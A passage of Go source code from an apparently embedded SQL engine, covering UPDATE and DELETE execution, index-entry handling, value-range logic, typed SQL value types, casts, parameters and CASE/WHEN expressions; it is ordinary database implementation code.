len(table.primaryIndex.cols)) for _, pkCol := range table.primaryIndex.cols { pkVal := valuesByColID[pkCol.id] pkRanges[pkCol.id] = &typedValueRange{ lRange: &typedValueSemiRange{val: pkVal, inclusive: true}, hRange: &typedValueSemiRange{val: pkVal, inclusive: true}, } } scanSpecs := &ScanSpecs{ Index: table.primaryIndex, rangesByColID: pkRanges, } r, err := newRawRowReader(tx, nil, table, period{}, table.name, scanSpecs) if err != nil { return nil, err } defer func() { r.Close() }() return r.Read(ctx) } // deprecateIndexEntries mark previous index entries as deleted func (tx *SQLTx) deprecateIndexEntries( pkEncVals []byte, currValuesByColID, newValuesByColID map[uint32]TypedValue, table *Table) (reusableIndexEntries map[uint32]struct{}, err error) { encodedRowValue, err := tx.encodeRowValue(currValuesByColID, table) if err != nil { return nil, err } reusableIndexEntries = make(map[uint32]struct{}) for _, index := range table.indexes { if index.IsPrimary() { continue } encodedValues := make([][]byte, 2+len(index.cols)+1) encodedValues[0] = EncodeID(table.id) encodedValues[1] = EncodeID(index.id) encodedValues[len(encodedValues)-1] = pkEncVals // existent index entry is deleted only if it differs from existent one sameIndexKey := true for i, col := range index.cols { currVal, specified := currValuesByColID[col.id] if !specified { currVal = &NullValue{t: col.colType} } newVal, specified := newValuesByColID[col.id] if !specified { newVal = &NullValue{t: col.colType} } r, err := currVal.Compare(newVal) if err != nil { return nil, err } sameIndexKey = sameIndexKey && r == 0 encVal, _, _ := EncodeValueAsKey(currVal, col.colType, col.MaxLen()) encodedValues[i+3] = encVal } // mark existent index entry as deleted if sameIndexKey { reusableIndexEntries[index.id] = struct{}{} } else { md := store.NewKVMetadata() md.AsDeleted(true) err = tx.set(MapKey(tx.sqlPrefix(), MappedPrefix, encodedValues...), md, encodedRowValue) if err != nil { return nil, err } } } return reusableIndexEntries, nil } type UpdateStmt struct { tableRef *tableRef where ValueExp updates []*colUpdate indexOn []string limit ValueExp offset ValueExp } type colUpdate struct { col string op CmpOperator val ValueExp } func (stmt *UpdateStmt) readOnly() bool { return false } func (stmt *UpdateStmt) requiredPrivileges() []SQLPrivilege { return []SQLPrivilege{SQLPrivilegeUpdate} } func (stmt *UpdateStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { selectStmt := &SelectStmt{ ds: stmt.tableRef, where: stmt.where, } err := selectStmt.inferParameters(ctx, tx, params) if err != nil { return err } table, err := stmt.tableRef.referencedTable(tx) if err != nil { return err } for _, update := range stmt.updates { col, err := table.GetColumnByName(update.col) if err != nil { return err } err = update.val.requiresType(col.colType, make(map[string]ColDescriptor), params, table.name) if err != nil { return err } } return nil } func (stmt *UpdateStmt) validate(table *Table) error { colIDs := make(map[uint32]struct{}, len(stmt.updates)) for _, update := range stmt.updates { if update.op != EQ { return ErrIllegalArguments } col, err := table.GetColumnByName(update.col) if err != nil { return err } if table.PrimaryIndex().IncludesCol(col.id) { return ErrPKCanNotBeUpdated } _, duplicated := colIDs[col.id] if duplicated { return ErrDuplicatedColumn } colIDs[col.id] = struct{}{} } return nil } func (stmt *UpdateStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { selectStmt := &SelectStmt{ ds: stmt.tableRef, where: stmt.where, indexOn: stmt.indexOn, limit: stmt.limit, offset: stmt.offset, } rowReader, err := selectStmt.Resolve(ctx, tx, params, nil) if err != nil { return nil, err } defer rowReader.Close() table := rowReader.ScanSpecs().Index.table err = stmt.validate(table) if err != nil { return nil, err } cols, err := rowReader.colsBySelector(ctx) if err != nil { return nil, err } for { row, err := rowReader.Read(ctx) if errors.Is(err, ErrNoMoreRows) { break } else if err != nil { return nil, err } valuesByColID := make(map[uint32]TypedValue, len(row.ValuesBySelector)) for _, col := range table.cols { encSel := EncodeSelector("", table.name, col.colName) valuesByColID[col.id] = row.ValuesBySelector[encSel] } for _, update := range stmt.updates { col, err := table.GetColumnByName(update.col) if err != nil { return nil, err } sval, err := update.val.substitute(params) if err != nil { return nil, err } rval, err := sval.reduce(tx, row, table.name) if err != nil { return nil, err } err = rval.requiresType(col.colType, cols, nil, table.name) if err != nil { return nil, err } valuesByColID[col.id] = rval } for i, col := range table.cols { v := valuesByColID[col.id] row.ValuesByPosition[i] = v row.ValuesBySelector[EncodeSelector("", table.name, col.colName)] = v } if err := checkConstraints(tx, table.checkConstraints, row, table.name); err != nil { return nil, err } pkEncVals, err := encodedKey(table.primaryIndex, valuesByColID) if err != nil { return nil, err } // primary index entry mkey := MapKey(tx.sqlPrefix(), MappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals, pkEncVals) // mkey must exist _, err = tx.get(ctx, mkey) if err != nil { return nil, err } err = tx.doUpsert(ctx, pkEncVals, valuesByColID, table, true) if err != nil { return nil, err } } return tx, nil } type DeleteFromStmt struct { tableRef *tableRef where ValueExp indexOn []string orderBy []*OrdExp limit ValueExp offset ValueExp } func NewDeleteFromStmt(table string, where ValueExp, orderBy []*OrdExp, limit ValueExp) *DeleteFromStmt { return &DeleteFromStmt{ tableRef: NewTableRef(table, ""), where: where, orderBy: orderBy, limit: limit, } } func (stmt *DeleteFromStmt) readOnly() bool { return false } func (stmt *DeleteFromStmt) requiredPrivileges() []SQLPrivilege { return []SQLPrivilege{SQLPrivilegeDelete} } func (stmt *DeleteFromStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { selectStmt := &SelectStmt{ ds: stmt.tableRef, where: stmt.where, orderBy: stmt.orderBy, } return selectStmt.inferParameters(ctx, tx, params) } func (stmt *DeleteFromStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { selectStmt := &SelectStmt{ ds: stmt.tableRef, where: stmt.where, indexOn: stmt.indexOn, orderBy: stmt.orderBy, limit: stmt.limit, offset: stmt.offset, } rowReader, err := selectStmt.Resolve(ctx, tx, params, nil) if err != nil { return nil, err } defer rowReader.Close() table := rowReader.ScanSpecs().Index.table for { row, err := rowReader.Read(ctx) if errors.Is(err, ErrNoMoreRows) { break } if err != nil { return nil, err } valuesByColID := make(map[uint32]TypedValue, len(row.ValuesBySelector)) for _, col := range table.cols { encSel := EncodeSelector("", table.name, col.colName) valuesByColID[col.id] = row.ValuesBySelector[encSel] } pkEncVals, err := encodedKey(table.primaryIndex, valuesByColID) if err != nil { return nil, err } err = tx.deleteIndexEntries(pkEncVals, valuesByColID, table) if err != nil { return nil, err } tx.updatedRows++ } return tx, nil } func (tx *SQLTx) deleteIndexEntries(pkEncVals []byte, valuesByColID map[uint32]TypedValue, table *Table) error { encodedRowValue, err := tx.encodeRowValue(valuesByColID, table) if err != nil { return err } for _, index := range table.indexes { if !index.IsPrimary() { continue } encodedValues := make([][]byte, 3+len(index.cols)) encodedValues[0] = EncodeID(DatabaseID) encodedValues[1] = EncodeID(table.id) encodedValues[2] = EncodeID(index.id) for i, col := range index.cols { val, specified := valuesByColID[col.id] if !specified { val = &NullValue{t: col.colType} } encVal, _, _ := EncodeValueAsKey(val, col.colType, col.MaxLen()) encodedValues[i+3] = encVal } md := store.NewKVMetadata() md.AsDeleted(true) err := tx.set(MapKey(tx.sqlPrefix(), RowPrefix, encodedValues...), md, encodedRowValue) if err != nil { return err } } return nil } type ValueExp interface { inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error substitute(params map[string]interface{}) (ValueExp, error) selectors() []Selector reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) reduceSelectors(row *Row, implicitTable string) ValueExp isConstant() bool selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error String() string } type typedValueRange struct { lRange *typedValueSemiRange hRange *typedValueSemiRange } type typedValueSemiRange struct { val TypedValue inclusive bool } func (r *typedValueRange) unitary() bool { // TODO: this simplified implementation doesn't cover all unitary cases e.g. 3<=v<4 if r.lRange == nil || r.hRange == nil { return false } res, _ := r.lRange.val.Compare(r.hRange.val) return res == 0 && r.lRange.inclusive && r.hRange.inclusive } func (r *typedValueRange) refineWith(refiningRange *typedValueRange) error { if r.lRange == nil { r.lRange = refiningRange.lRange } else if r.lRange != nil && refiningRange.lRange != nil { maxRange, err := maxSemiRange(r.lRange, refiningRange.lRange) if err != nil { return err } r.lRange = maxRange } if r.hRange == nil { r.hRange = refiningRange.hRange } else if r.hRange != nil && refiningRange.hRange != nil { minRange, err := minSemiRange(r.hRange, refiningRange.hRange) if err != nil { return err } r.hRange = minRange } return nil } func (r *typedValueRange) extendWith(extendingRange *typedValueRange) error { if r.lRange == nil || extendingRange.lRange == nil { r.lRange = nil } else { minRange, err := minSemiRange(r.lRange, extendingRange.lRange) if err != nil { return err } r.lRange = minRange } if r.hRange == nil || extendingRange.hRange == nil { r.hRange = nil } else { maxRange, err := maxSemiRange(r.hRange, extendingRange.hRange) if err != nil { return err } r.hRange = maxRange } return nil } func maxSemiRange(or1, or2 *typedValueSemiRange) (*typedValueSemiRange, error) { r, err := or1.val.Compare(or2.val) if err != nil { return nil, err } maxVal := or1.val if r < 0 { maxVal = or2.val } return &typedValueSemiRange{ val: maxVal, inclusive: or1.inclusive && or2.inclusive, }, nil } func minSemiRange(or1, or2 *typedValueSemiRange) (*typedValueSemiRange, error) { r, err := or1.val.Compare(or2.val) if err != nil { return nil, err } minVal := or1.val if r > 0 { minVal = or2.val } return &typedValueSemiRange{ val: minVal, inclusive: or1.inclusive || or2.inclusive, }, nil } type TypedValue interface { ValueExp Type() SQLValueType RawValue() interface{} Compare(val TypedValue) (int, error) IsNull() bool } type Tuple []TypedValue func (t Tuple) Compare(other Tuple) (int, int, error) { if len(t) != len(other) { return -1, -1, ErrNotComparableValues } for i := range t { res, err := t[i].Compare(other[i]) if err != nil || res != 0 { return res, i, err } } return 0, -1, nil } func NewNull(t SQLValueType) *NullValue { return &NullValue{t: t} } type NullValue struct { t SQLValueType } func (n *NullValue) Type() SQLValueType { return n.t } func (n *NullValue) RawValue() interface{} { return nil } func (n *NullValue) IsNull() bool { return true } func (n *NullValue) String() string { return "NULL" } func (n *NullValue) Compare(val TypedValue) (int, error) { if n.t != AnyType && val.Type() != AnyType && n.t != val.Type() { return 0, ErrNotComparableValues } if val.RawValue() == nil { return 0, nil } return -1, nil } func (v *NullValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return v.t, nil } func (v *NullValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if v.t == t { return nil } if v.t != AnyType { return ErrInvalidTypes } v.t = t return nil } func (v *NullValue) selectors() []Selector { return nil } func (v *NullValue) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil } func (v *NullValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return v, nil } func (v *NullValue) reduceSelectors(row *Row, implicitTable string) ValueExp { return v } func (v *NullValue) isConstant() bool { return true } func (v *NullValue) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } type Integer struct { val int64 } func NewInteger(val int64) *Integer { return &Integer{val: val} } func (v *Integer) Type() SQLValueType { return IntegerType } func (v *Integer) IsNull() bool { return false } func (v *Integer) String() string { return strconv.FormatInt(v.val, 10) } func (v *Integer) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return IntegerType, nil } func (v *Integer) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != IntegerType && t != JSONType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, t) } return nil } func (v *Integer) selectors() []Selector { return nil } func (v *Integer) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil } func (v *Integer) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return v, nil } func (v *Integer) reduceSelectors(row *Row, implicitTable string) ValueExp { return v } func (v *Integer) isConstant() bool { return true } func (v *Integer) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } func (v *Integer) RawValue() interface{} { return v.val } func (v *Integer) Compare(val TypedValue) (int, error) { if val.IsNull() { return 1, nil } if val.Type() == JSONType { res, err := val.Compare(v) return -res, err } if val.Type() == Float64Type { r, err := val.Compare(v) return r * -1, err } if val.Type() != IntegerType { return 0, ErrNotComparableValues } rval := val.RawValue().(int64) if v.val == rval { return 0, nil } if v.val > rval { return 1, nil } return -1, nil } type Timestamp struct { val time.Time } func (v *Timestamp) Type() SQLValueType { return TimestampType } func (v *Timestamp) IsNull() bool { return false } func (v *Timestamp) String() string { return v.val.Format("2006-01-02 15:04:05.999999") } func (v *Timestamp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return TimestampType, nil } func (v *Timestamp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != TimestampType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, TimestampType, t) } return nil } func (v *Timestamp) selectors() []Selector { return nil } func (v *Timestamp) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil } func (v *Timestamp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return v, nil } func (v *Timestamp) reduceSelectors(row *Row, implicitTable string) ValueExp { return v } func (v *Timestamp) isConstant() bool { return true } func (v *Timestamp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } func (v *Timestamp) RawValue() interface{} { return v.val } func (v *Timestamp) Compare(val TypedValue) (int, error) { if val.IsNull() { return 1, nil } if val.Type() != TimestampType { return 0, ErrNotComparableValues } rval := val.RawValue().(time.Time) if v.val.Before(rval) { return -1, nil } if v.val.After(rval) { return 1, nil } return 0, nil } type Varchar struct { val string } func NewVarchar(val string) *Varchar { return &Varchar{val: val} } func (v *Varchar) Type() SQLValueType { return VarcharType } func (v *Varchar) IsNull() bool { return false } func (v *Varchar) String() string { return fmt.Sprintf("'%s'", v.val) } func (v *Varchar) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return VarcharType, nil } func (v *Varchar) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != VarcharType && t != JSONType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, VarcharType, t) } return nil } func (v *Varchar) selectors() []Selector { return nil } func (v *Varchar) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil } func (v *Varchar) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return v, nil } func (v *Varchar) reduceSelectors(row *Row, implicitTable string) ValueExp { return v } func (v *Varchar) isConstant() bool { return true } func (v *Varchar) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } func (v *Varchar) RawValue() interface{} { return v.val } func (v *Varchar) Compare(val TypedValue) (int, error) { if val.IsNull() { return 1, nil } if val.Type() == JSONType { res, err := val.Compare(v) return -res, err } if val.Type() != VarcharType { return 0, ErrNotComparableValues } rval := val.RawValue().(string) return bytes.Compare([]byte(v.val), []byte(rval)), nil } type UUID struct { val uuid.UUID } func NewUUID(val uuid.UUID) *UUID { return &UUID{val: val} } func (v *UUID) Type() SQLValueType { return UUIDType } func (v *UUID) IsNull() bool { return false } func (v *UUID) String() string { return v.val.String() } func (v *UUID) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return UUIDType, nil } func (v *UUID) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != UUIDType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, UUIDType, t) } return nil } func (v *UUID) selectors() []Selector { return nil } func (v *UUID) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil } func (v *UUID) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return v, nil } func (v *UUID) reduceSelectors(row *Row, implicitTable string) ValueExp { return v } func (v *UUID) isConstant() bool { return true } func (v *UUID) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } func (v *UUID) RawValue() interface{} { return v.val } func (v *UUID) Compare(val TypedValue) (int, error) { if val.IsNull() { return 1, nil } if val.Type() != UUIDType { return 0, ErrNotComparableValues } rval := val.RawValue().(uuid.UUID) return bytes.Compare(v.val[:], rval[:]), nil } type Bool struct { val bool } func NewBool(val bool) *Bool { return &Bool{val: val} } func (v *Bool) Type() SQLValueType { return BooleanType } func (v *Bool) IsNull() bool { return false } func (v *Bool) String() string { return strconv.FormatBool(v.val) } func (v *Bool) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return BooleanType, nil } func (v *Bool) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != BooleanType && t != JSONType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, BooleanType, t) } return nil } func (v *Bool) selectors() []Selector { return nil } func (v *Bool) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil } func (v *Bool) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return v, nil } func (v *Bool) reduceSelectors(row *Row, implicitTable string) ValueExp { return v } func (v *Bool) isConstant() bool { return true } func (v *Bool) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } func (v *Bool) RawValue() interface{} { return v.val } func (v *Bool) Compare(val TypedValue) (int, error) { if val.IsNull() { return 1, nil } if val.Type() == JSONType { res, err := val.Compare(v) return -res, err } if val.Type() != BooleanType { return 0, ErrNotComparableValues } rval := val.RawValue().(bool) if v.val == rval { return 0, nil } if v.val { return 1, nil } return -1, nil } type Blob struct { val []byte } func NewBlob(val []byte) *Blob { return &Blob{val: val} } func (v *Blob) Type() SQLValueType { return BLOBType } func (v *Blob) IsNull() bool { return false } func (v *Blob) String() string { return hex.EncodeToString(v.val) } func (v *Blob) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return BLOBType, nil } func (v *Blob) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != BLOBType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, BLOBType, t) } return nil } func (v *Blob) selectors() []Selector { return nil } func (v *Blob) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil } func (v *Blob) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return v, nil } func (v *Blob) reduceSelectors(row *Row, implicitTable string) ValueExp { return v } func (v *Blob) isConstant() bool { return true } func (v *Blob) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } func (v *Blob) RawValue() interface{} { return v.val } func (v *Blob) Compare(val TypedValue) (int, error) { if val.IsNull() { return 1, nil } if val.Type() != BLOBType { return 0, ErrNotComparableValues } rval := val.RawValue().([]byte) return bytes.Compare(v.val, rval), nil } type Float64 struct { val float64 } func NewFloat64(val float64) *Float64 { return &Float64{val: val} } func (v *Float64) Type() SQLValueType { return Float64Type } func (v *Float64) IsNull() bool { return false } func (v *Float64) String() string { return strconv.FormatFloat(float64(v.val), 'f', -1, 64) } func (v *Float64) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return Float64Type, nil } func (v *Float64) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != Float64Type && t != JSONType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, Float64Type, t) } return nil } func (v *Float64) selectors() []Selector { return nil } func (v *Float64) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil } func (v *Float64) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return v, nil } func (v *Float64) reduceSelectors(row *Row, implicitTable string) ValueExp { return v } func (v *Float64) isConstant() bool { return true } func (v *Float64) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } func (v *Float64) RawValue() interface{} { return v.val } func (v *Float64) Compare(val TypedValue) (int, error) { if val.Type() == JSONType { res, err := val.Compare(v) return -res, err } convVal, err := mayApplyImplicitConversion(val.RawValue(), Float64Type) if err != nil { return 0, err } if convVal == nil { return 1, nil } rval, ok := convVal.(float64) if !ok { return 0, ErrNotComparableValues } if v.val == rval { return 0, nil } if v.val > rval { return 1, nil } return -1, nil } type FnCall struct { fn string params []ValueExp } func (v *FnCall) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { fn, err := v.resolveFunc() if err != nil { return AnyType, nil } return fn.InferType(cols, params, implicitTable) } func (v *FnCall) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { fn, err := v.resolveFunc() if err != nil { return err } return fn.RequiresType(t, cols, params, implicitTable) } func (v *FnCall) selectors() []Selector { selectors := make([]Selector, 0) for _, param := range v.params { selectors = append(selectors, param.selectors()...) } return selectors } func (v *FnCall) substitute(params map[string]interface{}) (val ValueExp, err error) { ps := make([]ValueExp, len(v.params)) for i, p := range v.params { ps[i], err = p.substitute(params) if err != nil { return nil, err } } return &FnCall{ fn: v.fn, params: ps, }, nil } func (v *FnCall) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { fn, err := v.resolveFunc() if err != nil { return nil, err } fnInputs, err := v.reduceParams(tx, row, implicitTable) if err != nil { return nil, err } return fn.Apply(tx, fnInputs) } func (v *FnCall) reduceParams(tx *SQLTx, row *Row, implicitTable string) ([]TypedValue, error) { var values []TypedValue if len(v.params) > 0 { values = make([]TypedValue, len(v.params)) for i, p := range v.params { v, err := p.reduce(tx, row, implicitTable) if err != nil { return nil, err } values[i] = v } } return values, nil } func (v *FnCall) resolveFunc() (Function, error) { fn, exists := builtinFunctions[strings.ToUpper(v.fn)] if !exists { return nil, fmt.Errorf("%w: unknown function %s", ErrIllegalArguments, v.fn) } return fn, nil } func (v *FnCall) reduceSelectors(row *Row, implicitTable string) ValueExp { return v } func (v *FnCall) isConstant() bool { return false } func (v *FnCall) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } func (v *FnCall) String() string { params := make([]string, len(v.params)) for i, p := range v.params { params[i] = p.String() } return v.fn + "(" + strings.Join(params, ",") + ")" } type Cast struct { val ValueExp t SQLValueType } func (c *Cast) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { _, err := c.val.inferType(cols, params, implicitTable) if err != nil { return AnyType, err } // val type may be restricted by compatible conversions, but multiple types may be compatible... return c.t, nil } func (c *Cast) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if c.t != t { return fmt.Errorf("%w: can not use value cast to %s as %s", ErrInvalidTypes, c.t, t) } return nil } func (c *Cast) substitute(params map[string]interface{}) (ValueExp, error) { val, err := c.val.substitute(params) if err != nil { return nil, err } c.val = val return c, nil } func (c *Cast) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { val, err := c.val.reduce(tx, row, implicitTable) if err != nil { return nil, err } conv, err := getConverter(val.Type(), c.t) if conv == nil { return nil, err } return conv(val) } func (v *Cast) selectors() []Selector { return v.val.selectors() } func (c *Cast) reduceSelectors(row *Row, implicitTable string) ValueExp { return &Cast{ val: c.val.reduceSelectors(row, implicitTable), t: c.t, } } func (c *Cast) isConstant() bool { return c.val.isConstant() } func (c *Cast) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } func (c *Cast) String() string { return fmt.Sprintf("CAST (%s AS %s)", c.val.String(), c.t) } type Param struct { id string pos int } func (v *Param) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { t, ok := params[v.id] if !ok { params[v.id] = AnyType return AnyType, nil } return t, nil } func (v *Param) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { currT, ok := params[v.id] if ok && currT != t && currT != AnyType { return ErrInferredMultipleTypes } params[v.id] = t return nil } func (p *Param) substitute(params map[string]interface{}) (ValueExp, error) { val, ok := params[p.id] if !ok { return nil, fmt.Errorf("%w(%s)", ErrMissingParameter, p.id) } if val == nil { return &NullValue{t: AnyType}, nil } switch v := val.(type) { case bool: { return &Bool{val: v}, nil } case string: { return &Varchar{val: v}, nil } case int: { return &Integer{val: int64(v)}, nil } case uint: { return &Integer{val: int64(v)}, nil } case uint64: { return &Integer{val: int64(v)}, nil } case int64: { return &Integer{val: v}, nil } case []byte: { return &Blob{val: v}, nil } case time.Time: { return &Timestamp{val: v.Truncate(time.Microsecond).UTC()}, nil } case float64: { return &Float64{val: v}, nil } } return nil, ErrUnsupportedParameter } func (p *Param) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return nil, ErrUnexpected } func (p *Param) selectors() []Selector { return nil } func (p *Param) reduceSelectors(row *Row, implicitTable string) ValueExp { return p } func (p *Param) isConstant() bool { return true } func (v *Param) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } func (v *Param) String() string { return "@" + v.id } type whenThenClause struct { when, then ValueExp } type CaseWhenExp struct { exp ValueExp whenThen []whenThenClause elseExp ValueExp } func (ce *CaseWhenExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { checkType := func(e ValueExp, expectedType SQLValueType) (string, error) { t, err := e.inferType(cols, params, implicitTable) if err != nil { return "", err } if expectedType == AnyType { return t, nil } if t != expectedType { if (t == Float64Type && expectedType == IntegerType) || (t == IntegerType && expectedType == Float64Type) { return Float64Type, nil } return "", fmt.Errorf("%w: CASE types %s and %s cannot be matched", ErrInferredMultipleTypes, expectedType, t) } return t, nil } searchType := BooleanType inferredResType := AnyType if ce.exp != nil { t, err := ce.exp.inferType(cols, params, implicitTable) if err != nil { return "", err } searchType = t } for _, e := range ce.whenThen { whenType, err := e.when.inferType(cols, params, implicitTable) if err != nil { return "", err } if whenType != searchType { return "", fmt.Errorf("%w: argument of CASE/WHEN must be of type %s, not type %s", ErrInvalidTypes, searchType, whenType) } t, err := checkType(e.then, inferredResType) if err != nil { return "", err } inferredResType = t } if ce.elseExp != nil { return checkType(ce.elseExp, inferredResType) } return inferredResType, nil } func (ce *CaseWhenExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { inferredType, err := ce.inferType(cols, params, implicitTable) if err != nil { return err } if inferredType != t { return fmt.Errorf("%w: expected type %s but %s found instead", ErrInvalidTypes, t, inferredType) } return nil } func (ce *CaseWhenExp) substitute(params map[string]interface{}) (ValueExp, error) { var exp ValueExp if ce.exp != nil { e, err := ce.exp.substitute(params) if err != nil { return nil, err } exp = e } whenThen := make([]whenThenClause, len(ce.whenThen)) for i, wt := range ce.whenThen { whenValue, err := wt.when.substitute(params) if err != nil { return nil, err } whenThen[i].when = whenValue thenValue, err := wt.then.substitute(params) if err != nil { return nil, err } whenThen[i].then = thenValue } if ce.elseExp == nil { return &CaseWhenExp{ exp: exp, whenThen: whenThen, }, nil } elseValue, err := ce.elseExp.substitute(params) if err != nil { return nil, err } return &CaseWhenExp{ exp: exp, whenThen: whenThen, elseExp: elseValue, }, nil } func (ce *CaseWhenExp) selectors() []Selector { selectors := make([]Selector, 0) if ce.exp != nil { selectors = append(selectors, ce.exp.selectors()...) } for _, wh := range ce.whenThen { selectors = append(selectors, wh.when.selectors()...) selectors = append(selectors, wh.then.selectors()...) } if ce.elseExp == nil { return selectors } return append(selectors, ce.elseExp.selectors()...) } func (ce *CaseWhenExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { var searchValue TypedValue if ce.exp != nil { v, err := ce.exp.reduce(tx, row, implicitTable) if err != nil { return nil, err } searchValue = v } else { searchValue = &Bool{val: true} } for _, wt := range ce.whenThen { v, err := wt.when.reduce(tx, row, implicitTable) if err != nil { return nil, err } if v.Type() != searchValue.Type() { return nil, fmt.Errorf("%w: argument of CASE/WHEN must be type %s, not type %s", ErrInvalidTypes, v.Type(), searchValue.Type()) } res, err := v.Compare(searchValue) if err != nil { return nil, err } if res == 0 { return wt.then.reduce(tx, row, implicitTable) } } if ce.elseExp == nil { return NewNull(AnyType), nil } return ce.elseExp.reduce(tx, row, implicitTable) } func (ce *CaseWhenExp) reduceSelectors(row *Row, implicitTable string) ValueExp { whenThen := make([]whenThenClause, len(ce.whenThen)) for i, wt := range ce.whenThen { whenValue := wt.when.reduceSelectors(row, implicitTable) whenThen[i].when = whenValue thenValue := wt.then.reduceSelectors(row, implicitTable) whenThen[i].then = thenValue } if ce.elseExp == nil { return &CaseWhenExp{ whenThen: whenThen, } } return &CaseWhenExp{ whenThen: whenThen, elseExp: ce.elseExp.reduceSelectors(row, implicitTable), } } func (ce *CaseWhenExp) isConstant() bool { return false } func (ce *CaseWhenExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } func (ce *CaseWhenExp) String() string { var sb strings.Builder for _, wh := range ce.whenThen { sb.WriteString(fmt.Sprintf("WHEN %s THEN %s ", wh.when.String(), wh.then.String())) } if ce.elseExp != nil { sb.WriteString("ELSE " + ce.elseExp.String() + " ") } return "CASE " + 